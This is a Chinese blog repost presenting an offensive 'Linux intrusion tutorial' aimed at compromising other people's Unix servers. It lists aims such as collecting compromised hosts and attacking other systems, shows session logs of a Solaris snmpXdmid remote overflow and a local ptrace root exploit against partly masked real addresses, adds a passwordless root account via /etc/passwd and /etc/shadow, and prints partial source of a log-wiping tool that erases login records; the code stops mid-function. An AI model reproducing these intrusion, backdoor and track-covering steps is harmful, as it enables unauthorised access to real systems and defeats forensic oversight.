Chinaunix首页 | 论坛 | 博客
  • 博客访问: 9267383
  • 博文数量: 1669
  • 博客积分: 16831
  • 博客等级: 上将
  • 技术积分: 12594
  • 用 户 组: 普通用户
  • 注册时间: 2011-02-25 07:23
个人简介

柔中带刚,刚中带柔,淫荡中富含柔和,刚猛中荡漾风骚,无坚不摧,无孔不入!

文章分类

全部博文(1669)

文章存档

2023年(4)

2022年(1)

2021年(10)

2020年(24)

2019年(4)

2018年(19)

2017年(66)

2016年(60)

2015年(49)

2014年(201)

2013年(221)

2012年(638)

2011年(372)

分类:

2012-07-17 13:55:37

最好的入侵linux教程  

2011-08-15 17:18:59|  分类: linux安全 |  标签: |字号 

最好的入侵linux教程

一:基本知识
  
  1:常见UNIX版本:
  SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
  2:简单介绍几个
  sunos&solaris SUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策;
  Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd;
  Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。
  3:UNIX操作系统的特点
  (1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。
  4:尤为突出的优点
  (1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。
  
  二:入侵目的
  
  1:学习UNIX,熟悉内部操作,整体配置...
  2:做跳板或以此捕捉更多UNIX肉鸡;
  3:越权得到某些正常请求下得不到的东西;
  4:攻击破坏或以此作为利器来破坏其他系统;
  5:更多......
  
  三:入侵方法
  
  1:寻找目标
  
  工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,凭个人喜好选用
  supperscan:扫描23,79端口,注意含%,#,&...主机,这些就是UNIX;
  LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确;
  流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。
  其他方法一样...
  (说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别)
  
  2:开始入侵
  
  (1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译)
  A:远程溢出
  溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind 远程溢出,Sun Solaris 5.7/5.8 Sparc远程溢出,redhat6.xrpc status远程溢出...自己去一一了解吧,在这里我简单说两个例子:
  a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http: //),因为这个溢出程序有已经编译好了可以直接在windows下使用;
  a2:Sun Solaris 5.7 Sparc远程溢出
  搜索...终于让我找到了一台sunos 5.7,上我一台sunos 5.8
  telnet 66.*.146.48 ----->>这是我的!
  SunOS 5.8
  
  login: ply
  PassWord:
  Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
  Sun Microsystems Inc. SunOS 5.8 Generic February 2000
  $ tmp/.sh ----->>当时溢出时做的处理!
  # ls
  bin data etc initrd mnt proc sbin usr
  boot dev home lib misc opt root tmp var
  xfn skip
  # cat >snmp.c
  
  ....... ----->>太长了,省略...自己去找!
  
  # gcc -o snmp snmp.c ----->>用gcc编译
  snmp.c: In function `main':
  snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
  snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
  snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
 

# ls
  bin data etc initrd mnt proc sbin snmp usr
  boot dev home lib misc opt root snmp.c tmp var
  # ./snmp
  copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
  snmpXdmid for solaris 2.7 2.8 sparc
  
  usage: ./s address [-p port] -v 78
  #./snmp 216.*.45.63 -v 7 ---->开始溢出!!
  DELIRIUM mar 2001 poland //lsd-pl.net/
  snmpXdmid for solaris 2.7 2.8 sparc
  
  adr=0x000c8f68 timeout=30 port=928 connected!
  sent!
  SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
  id
  uid=0(root) gid=0(root) ----->>是root哦!
  echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先!
  echo "ply::::::::" >> /etc/shadow
  ... ----->>还想干什么就继续吧!
  
  B:本地溢出
  本地溢出需要一个具有Shell权限的帐号,这个帐号可以通过pop3或ftp弱密码得到,照样举个例子:
  流光扫描...一会儿得到了一个ftp帐号(webmaster,webmaster),先telnet上去!
  telnet *.174.62.135
  
  Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
  Kernel 2.2.12-20kr2smp on an i686
  login: webmaster
  Password:
  Last login: Wed Apr 24 02:21:58 from *.*.*.*
  You have mail. ----->>这家伙有新邮件,不过我没兴趣!
  [webmaster@ns webmaster]$ ----->>气人的普通用户$
  [webmaster@ns webmaster]$cat >ts.c
  ... ----->>要学会利用网络资源,自己找,当是练习!
  [webmaster@ns webmaster]$gcc -o ts ts.c ----->>还是用gcc编译。
  In file included from /usr/include/asm/user.h:5,
  from /usr/include/linux/user.h:1,
  from ts.c:30:
  /usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined
  /usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
  inition
  [webmaster@ns webmaster]$ ls
  Desktop/ Mail/ ts* ts.c
  [webmaster@ns webmaster]$ ./ts
  attached
  bash# su root
  [root@ns webmaster]# ----->>搞定,看见#我就高兴!
  [root@ns webmaster]# cat >wipe.c ----->>扫脚印的,这个还是给大家吧,否则有人要扁我了!
  /*=============================================================================
  UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
  The Shadow Penguin Security ( )
  Written by UNYUN ( unewn4th@usa.net )
  =============================================================================
  */
  
  #include
  #include
  #include
  #include
  
  #ifdef UTMAXTYPE
  #define UTMPX
  #include
  #endif
  #include
  #ifndef _PATH_LASTLOG
  #include
  #endif
  #include
  #include
  #include
  
  #define SVR4_UTMP "/var/adm/utmp"
  #define SVR4_WTMP "/var/adm/wtmp"
  #define SVR4_LASTLOG "/var/adm/lastlog"
  
  #define SUNOS4_UTMP "/etc/utmp"
  #define SUNOS4_WTMP "/usr/adm/wtmp"
  #define SUNOS4_LASTLOG "/usr/adm/lastlog"
  
  #define BSD_UTMP "/var/run/utmp"
  #define BSD_WTMP "/var/log/wtmp"

#define BSD_LASTLOG "/var/log/lastlog"
  
  #define MAX_FPATH 512
  
  int wipe_log(path,user,type)
  char *path,*user;
  int type;
  {
  strUCt utmp utmp_ent;
  #ifdef UTMPX
  struct utmpx utmpx_ent;
  #endif
  void *ent;
  char *un;
  int sz,fd,c=0;
  
  if (strlen(path)==0) return(1);
  if (type==0){
  ent=(void *)&utmp_ent;
  #ifdef UTMPX
  un=(char *)&utmp_ent.ut_user;
  #else
  un=(char *)&utmp_ent.ut_name;
  #endif
  sz=sizeof(struct utmp);
  }else{
  #ifdef UTMPX
  ent=(void *)&utmpx_ent;
  un=(char *)&utmpx_ent.ut_user;
  sz=sizeof(struct utmpx);
  #endif
  }
  if ((fd=open(path,O_RDWR))<=0) return(-1);
  while(read(fd,ent,sz)>0)
  if (!strncmp(un,user,strlen(user))){
  memset(ent,0,sz);
  lseek(fd,-sz,SEEK_CUR);
  write(fd,ent,sz);
  c++;
  }
  close(fd);
  printf("Wiped %d entries of %s from %s.\n",c,user,path);
  return(0);
  }
  
  int wipe_lastlog(path,user,type)
  char *path,*user;
  int type;
  {
  struct passwd *p;
  struct lastlog ent;
  int fd;
  char buffer[MAX_FPATH];
阅读(359) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~